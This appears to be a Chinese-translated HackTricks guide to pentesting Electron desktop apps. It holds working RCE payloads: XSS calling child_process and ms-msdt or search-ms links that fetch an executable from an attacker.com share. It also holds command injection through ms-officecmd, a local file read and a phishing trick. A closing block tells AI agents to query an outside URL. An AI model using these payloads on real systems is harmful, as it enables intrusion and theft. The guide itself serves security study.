# Electron Desktop Apps

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/files/YEhfJ0lgKxxdqFKA17yB" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎，提供免费功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

***

## 简介

Electron结合了本地后端（使用**NodeJS**）和前端（**Chromium**），尽管它缺少一些现代浏览器的安全机制。

通常，您可能会在`.asar`应用程序中找到Electron应用程序代码，为了获取代码，您需要提取它：

```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```

在 Electron 应用的源代码中，在 `packet.json` 文件中，你可以找到指定了 `main.js` 文件的安全配置。

```json
{
"name": "standard-notes",
"main": "./app/index.js",
```

Electron有2种进程类型：

* 主进程（完全访问NodeJS）
* 渲染进程（出于安全原因，应限制NodeJS访问权限）

![](/files/QMNKei62bjuf1PODkFPG)

一个**渲染进程**将是加载文件的浏览器窗口：

```javascript
const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
```

**渲染进程**的设置可以在main.js文件中的**主进程**中进行**配置**。如果**设置正确配置**，一些配置将**防止Electron应用程序受到RCE**或其他漏洞的影响。

尽管可以配置Electron应用程序以防止其访问设备，但它可以通过Node API访问：

* **`nodeIntegration`** - 默认为`off`。如果打开，允许从渲染进程访问Node功能。
* **`contextIsolation`** - 默认为`on`。如果关闭，主进程和渲染进程不会被隔离。
* **`preload`** - 默认为空。
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 默认为关闭。它将限制NodeJS可以执行的操作。
* Workers中的Node集成
* **`nodeIntegrationInSubframes`** - 默认为关闭。
* 如果启用了\*\*`nodeIntegration`**，这将允许在Electron应用程序中的**iframe**中加载的网页中使用**Node.js API\*\*。
* 如果\*\*`nodeIntegration`**被**禁用\*\*，则预加载将在iframe中加载。

配置示例：

```javascript
const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};
```

以下是来自[这里](https://7as.es/electron/nodeIntegration_rce.txt)的一些**RCE payloads**：

```html
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">
```

### 捕获流量

修改`start-main`配置并添加使用代理，例如：

```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```

## Electron 本地代码注入

如果你可以在本地执行 Electron 应用程序，那么可能可以使其执行任意的 JavaScript 代码。查看方法：

{% content-ref url="/pages/EBJ8PHMCqKz28YbYoun8" %}
[macOS Electron Applications Injection](/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
{% endcontent-ref %}

## RCE: XSS + nodeIntegration

如果 **nodeIntegration** 设置为 **on**，网页的 JavaScript 可以轻松使用 Node.js 功能，只需调用 `require()`。例如，在 Windows 上执行计算器应用程序的方法是：

```html
<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>
```

<figure><img src="/files/AbwEUVXF67aWxeNZ5m4T" alt=""><figcaption></figcaption></figure>

## RCE: preload

在这个设置中指定的脚本是在渲染器中的其他脚本之前加载的，因此它具有对Node API的无限访问权限：

```javascript
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```

因此，脚本可以将节点功能导出到页面：

{% code title="preload.js" %}

```javascript
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
```

{% endcode %}

{% code title="index.html" %}

```html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>
```

{% endcode %}

{% hint style="info" %}
**如果`contextIsolation`被启用，这将无法工作**
{% endhint %}

## RCE: XSS + contextIsolation

\_**contextIsolation**\_引入了**网页脚本和JavaScript Electron内部代码之间的分离上下文**，使得每个代码的JavaScript执行不会相互影响。这是一个必要的功能，以消除RCE的可能性。

如果上下文没有被隔离，攻击者可以：

1. 在渲染器中执行**任意JavaScript**（XSS或导航到外部站点）
2. **覆盖**在preload或Electron内部代码中使用的内置方法为自己的函数
3. **触发**覆盖的函数的使用
4. RCE？

内置方法可以被覆盖的地方有两个：在preload代码中或在Electron内部代码中：

{% content-ref url="/pages/kIblVS14GlY3yPYOW5JC" %}
[Electron contextIsolation RCE via preload code](/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md)
{% endcontent-ref %}

{% content-ref url="/pages/S47bIVyj2BKxvSFoQnFT" %}
[Electron contextIsolation RCE via Electron internal code](/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
{% endcontent-ref %}

{% content-ref url="/pages/11xTdvWsRiYIQiBGwpBZ" %}
[Electron contextIsolation RCE via IPC](/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md)
{% endcontent-ref %}

### 绕过点击事件

如果在单击链接时应用了限制，您可能可以通过**中键单击**而不是常规左键单击来绕过这些限制

```javascript
window.addEventListener('click', (e) => {
```

## 通过 shell.openExternal 实现远程代码执行（RCE）

有关这些示例的更多信息，请查看<https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8>和<https://benjamin-altpeter.de/shell-openexternal-dangers/>

在部署 Electron 桌面应用程序时，确保 `nodeIntegration` 和 `contextIsolation` 的正确设置至关重要。已经确定，通过这些设置可以有效防止针对预加载脚本或 Electron 主进程的**客户端远程代码执行（RCE）**。

当用户与链接交互或打开新窗口时，会触发特定的事件侦听器，这对应用程序的安全性和功能至关重要：

```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```

这些监听器被**桌面应用程序**覆盖，以实现自己的**业务逻辑**。该应用程序评估导航链接应在内部打开还是在外部Web浏览器中打开。通常通过一个名为`openInternally`的函数来做出决定。如果此函数返回`false`，则表示应在外部打开链接，利用`shell.openExternal`函数。

**以下是简化的伪代码:**

![https://miro.medium.com/max/1400/1\*iqX26DMEr9RF7nMC1ANMAA.png](/files/atPkPo0MEraUSNfmhwNb)

![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](/files/tt2IvyYC1PC5HGRTHLPp)

Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容，因为这可能通过各种协议导致RCE。操作系统支持可能触发RCE的不同协议。有关此主题的详细示例和进一步解释，可以参考[此资源](https://positive.security/blog/url-open-rce#windows-10-19042)，其中包括能够利用此漏洞的Windows协议示例。

**Windows协议利用示例包括:**

```html
<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>
```

## 读取内部文件：XSS + contextIsolation

**禁用 `contextIsolation` 可以启用 `<webview>` 标签**，类似于 `<iframe>`，用于读取和外泄本地文件。提供了一个示例，演示了如何利用此漏洞读取内部文件的内容：

![](/files/D0c74lEyfdbwHTyHQQIB)

此外，还分享了另一种**读取内部文件**的方法，突出了 Electron 桌面应用程序中的关键本地文件读取漏洞。这涉及注入脚本以利用应用程序并外泄数据：

```html
<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>
```

## **RCE: XSS + 旧版 Chromium**

如果应用程序使用的 **Chromium** 版本较 **旧**，并且存在已知的 **漏洞**，可能可以通过 **XSS** 利用它并获得 **RCE**。\
您可以在这个 **writeup** 中看到一个示例：<https://blog.electrovolt.io/posts/discord-rce/>

## **通过内部 URL 正则表达式绕过进行 XSS 钓鱼**

假设您发现了一个 **XSS**，但是 **无法触发 RCE 或窃取内部文件**，您可以尝试使用它来通过 **钓鱼** 窃取凭据。

首先，您需要了解当尝试打开新 URL 时会发生什么，检查前端的 JS 代码：

```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)
```

调用\*\*`openInternally`**将决定将链接在**桌面窗口**中打开，因为它是属于平台的链接，或者将在**浏览器中作为第三方资源\*\*打开。

如果函数使用的**正则表达式**容易被绕过（例如**未转义子域的点**），攻击者可以利用XSS来**打开一个新窗口**，该窗口位于攻击者的基础设施中，**要求用户提供凭据**：

```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```

## **工具**

* [**Electronegativity**](https://github.com/doyensec/electronegativity) 是一个用于识别 Electron 应用程序中的配置错误和安全反模式的工具。
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 是一个开源的 VS Code 插件，用于 Electron 应用程序，使用 Electronegativity。
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 用于检查第三方库是否存在漏洞。
* [**Electro.ng**](https://electro.ng/)：需要购买

## 实验室

在 <https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s> 中，您可以找到一个用于利用易受攻击的 Electron 应用程序的实验室。

一些命令可以帮助您完成实验室：

```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```

## **参考资料**

* <https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028>
* <https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d>
* <https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8>
* <https://www.youtube.com/watch?v=a-YnG3Mx-Tg>
* <https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s>
* 有关 Electron 安全性的更多研究和报告，请访问 <https://github.com/doyensec/awesome-electronjs-hacking>
* <https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81>

### [WhiteIntel](https://whiteintel.io)

<figure><img src="/files/YEhfJ0lgKxxdqFKA17yB" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎，提供**免费**功能，用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。

WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。

您可以访问他们的网站并免费尝试他们的引擎：

{% embed url="<https://whiteintel.io>" %}

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)\*\* 上关注我们。\*\*
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/electron-desktop-apps.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
